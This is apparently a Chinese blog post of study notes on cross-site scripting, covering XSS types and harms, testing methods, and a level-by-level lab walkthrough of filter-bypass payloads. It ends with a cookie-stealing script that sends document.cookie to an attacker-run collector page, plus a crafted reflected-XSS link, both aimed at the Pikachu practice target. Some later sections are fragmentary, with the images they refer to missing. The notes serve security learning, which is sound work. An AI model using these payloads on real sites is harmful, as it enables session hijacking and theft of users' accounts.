xss复现

发布于:2025-03-22 ⋅ 阅读:(29) ⋅ 点赞:(0)

1.XSS跨站脚本介绍

跨站脚本(Cross-Site Scripting ,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞 

  XSS漏洞是出现再客户端的漏洞

是由于Web应用程序对用户的输入过滤不足而产生的。攻击者利用网站漏洞把恶意的脚本代码(通常包 括HTML代码和客户端Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的 恶意代码,对受害者可能采取Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。

.  xss漏洞最常见的攻击方式就是获取目标的cookie信息

.  cookie:用于记录用户的一些信息;比如:登录状态,浏览记录等

C:\Users\sunny\AppData\Roaming\Mozilla\Firefox\Profiles

.  sql注入,注入的是sql语句 .  闭合的是是sql语句

.  xss注入的是前端代码JS,闭合的也是前端代码,常见的html标签,让我们插入的标签生效 .  拿到cookie,要保证对方不退出,如果对方退出系统,  cookie将失效

XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。 比如说:论坛或者谋篇文章下面留言,登录之后才允许评论,你的评论其他网友可以看到

<script>alert(1)</script>

攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏 览器中打开该URL的时候,恶意脚本会在受害者的计算机上悄悄运行,流程如图所示:

  攻击者先发起XSS攻击,注入恶意代码

.  然后诱导其他用户去访问含有js代码的的网站,然后网页中的js代码就会被执行 

  造成用户信息的泄露

  测试xss ,只需弹框即可证明,不要构造真实的攻击代码

XSS漏洞一直被认为是web安全中危害较大的漏洞, 在owasp一直处于top3。而在对sql注入防范越来越 严密的今天, xss也成了绝大部分黑客更喜欢的漏洞利用方式。 XSS漏洞是发生在WEB前端的漏洞,所以 危害面及广,任何用户在访问前端时都可能中招。

XSS的本质就是前端代码注入。

注入攻击的本质,是把用户输入的数据当做代码执行。 这里有两个关键条件:

  第一个是用户能够控制输入

  第二个是原本程序要执行的代码,拼接了用户输入的数据 那么XSS主要拼接的是什么?

SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出 合适的HTML代码去执行恶意的JS语句。

总结:xss就是拼接恶意的HTML

2.XSS分类

  反射型XSS

        你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击 

  存储型XSS

         你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发 

   DOMXSS

          主要利用DOM相关的操作,修改了页面,引发的惨案

3.危害                                                                             

XSS的危害

1.网络钓鱼,包括盗取各类用户账号;

2.窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

4.强制弹出广告页面、刷流量等; 5.网页挂马;

6.进行恶意操作,例如任意篡改页面信息、删除文章等; 7.进行大量的客户端攻击,如DDoS攻击;

8.结合其他漏洞,如CSRF漏洞,实施进一步作恶; 9.传播跨站脚本蠕虫等。

4.XSS漏洞的黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下

面这些:

URL的每一个参数、URL本身、表单、搜索框、常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等

针对型:站内信、网页即时通讯、私信、意见反馈

存在风险:搜索框、当前目录、图片属性等

5.XSS漏洞的白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。

PHP中常见的接收参数的方式有$GET$POST$_REQUEST等等,可以搜索所有接收参数的地方。然后 对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和 html编码等处理。

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库 中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。

大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过 滤,能否绕过等等

靶场思路

第一关:

<script>alert(1)</script>

第二关:

<script>alert(1)</script>

尝试闭合标签

"><script>alert(1)</script>

第三关:

<script>alert(1)</script>

发现标签被实体化

<input

name=keyword

value='&lt;script&gt;alert(1)&lt;/script&gt;'>

.    尝试事件, onfocus

' onfocus='alert(1)

第四关:

<script>alert(1)</script>

还是过滤尖括号 尝试事件绕过

" onfocus="alert(1)

第五关:

<script>alert(1)</script>

   尝试大小写绕过,发现还是不行

<ScRIpt>alert(1)</ScRIpt>

   事件,发现也存在过滤 

   尝试伪协议

"><a href="javascript:alert(1)">点我</a> <a href="javascript:alert(1)">点我</a>

第六关:

<script>alert(1)</script>

还是被过滤

script => scr_ipt

   尝试大小写绕过

"><SCrIpt>alert(1)</SCrIpt>

第七关:

<script>alert(1)</script>

还是被过滤script 尝试双写绕过

"><scrscriptipt>alert(1)</scriscriptpt>

第八关:

<script>alert(1)</script>

过滤了script=> scr_ipt

查看源码发现传入的内容在href里面

<a href="javascr_ipt:alert(1)">

所以,尝试了为协议,也被过滤

javascript:alert(1)  ==>  javascr_ipt:alert(1)

判断过滤了哪些字符,发现全部被过滤

s rc onfocus script onerror javascript

考虑编码绕过, unicode

在线网站:Unicode编码转换 | Unicode在线转换 —在线工具

javascript:alert(1)编码

javascript:ale&# 114;t(1)

第九关部分绕过

javascript:alert(xsshttp://)

javascript:alert('http://')

XSScookie  

前期准备

.  被攻击者网站: http://www.pikachu001.com/

.  黑客部署的网站: http://www.pkxss.com/

.  获取cookie信息文件在哪: http://www.pkxss.com/xcookie/cookie.php o   cookie.php,需要getcookie内容传过来

  所以要让受害者去访问http://www.pkxss.com/xcookie/cookie.php?cookie=1231321 

 xss漏洞,将代码插入到目标网站

<script>document.location='http://www.pkxss.com/xcookie/cookie.php?

cookie='+document.cookie</script>            //注意,符号+,要改成%2b

  受害者执行完之后,会重定向到我们设置的安全网站

 这个时候受害者执行js代码之后,就会将cookie,发送到目标服务器上,目标服务器用cookie.php 接收cookie信息

cookie收集

重定向到另一个可信网址 让点击者 不知情。

注意这个地方这个cookie.php的文件位置,我们要访问这个收集cookie的文件路径应该是:

http://主机地址/pkxss/xcookie/cookie.php

我们可以构建一个偷cookiepayload

<script> document.location = 'http://主机地址/pkxss/xcookie/cookie.php? cookie='+document.cookie; </script>

接下来在反射性XSS中试一试:

获得的结果:

也可以get反射型XSS构建一个欺骗用户点击的链接:

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img s rc=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php? cookie='+document.cookie;">&submit=submit

注意: +会被过滤 , 用%2B来替换

http://localhost:8089/vul/xss/xss_reflected_get.php?message=<img s rc=x onerror="document.location = 'http://主机地址/pkxss/xcookie/cookie.php? cookie='%2Bdocument.cookie;">&submit=submit

访问之后:

XSS 的各种 bypass 技巧
Level 1
按照首页提示点击图片来到 level1 ,页面显示如下:
url 地址的构造就可以发现这里是向服务器提交了一个值为 ”test” name 参数:
name 参数中 赋值一个简单的弹窗来进行测试:
总结:
1 php 的代码仅仅在服务器端解析执行。
2 、服务器将执行完成的最终网页代码(不包含源文件中属于 php 语言的部分)返回给浏览器,然后浏览器对网页代码进行解释显示。
3 、在浏览器端查看源代码是无法看到对参数进行具体操作的 php 代码,只能看到结果。

Level 13

网页源码:

抓包测试:

cookie的值中进行构造语句:

弹窗:

Level 17

网页源码:

弹窗代码测试:

onclick事件测试:

页面响应中显示该swf文件区域:

最后总结:

  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作

  2. <textarea><title>里会有HTML解码操作,但不会有子元素

  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作

  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII

  5. JavaScript会对字符串和标识符Unicode解码

根据浏览器的自动解码,反向构造 XSS Payload 即可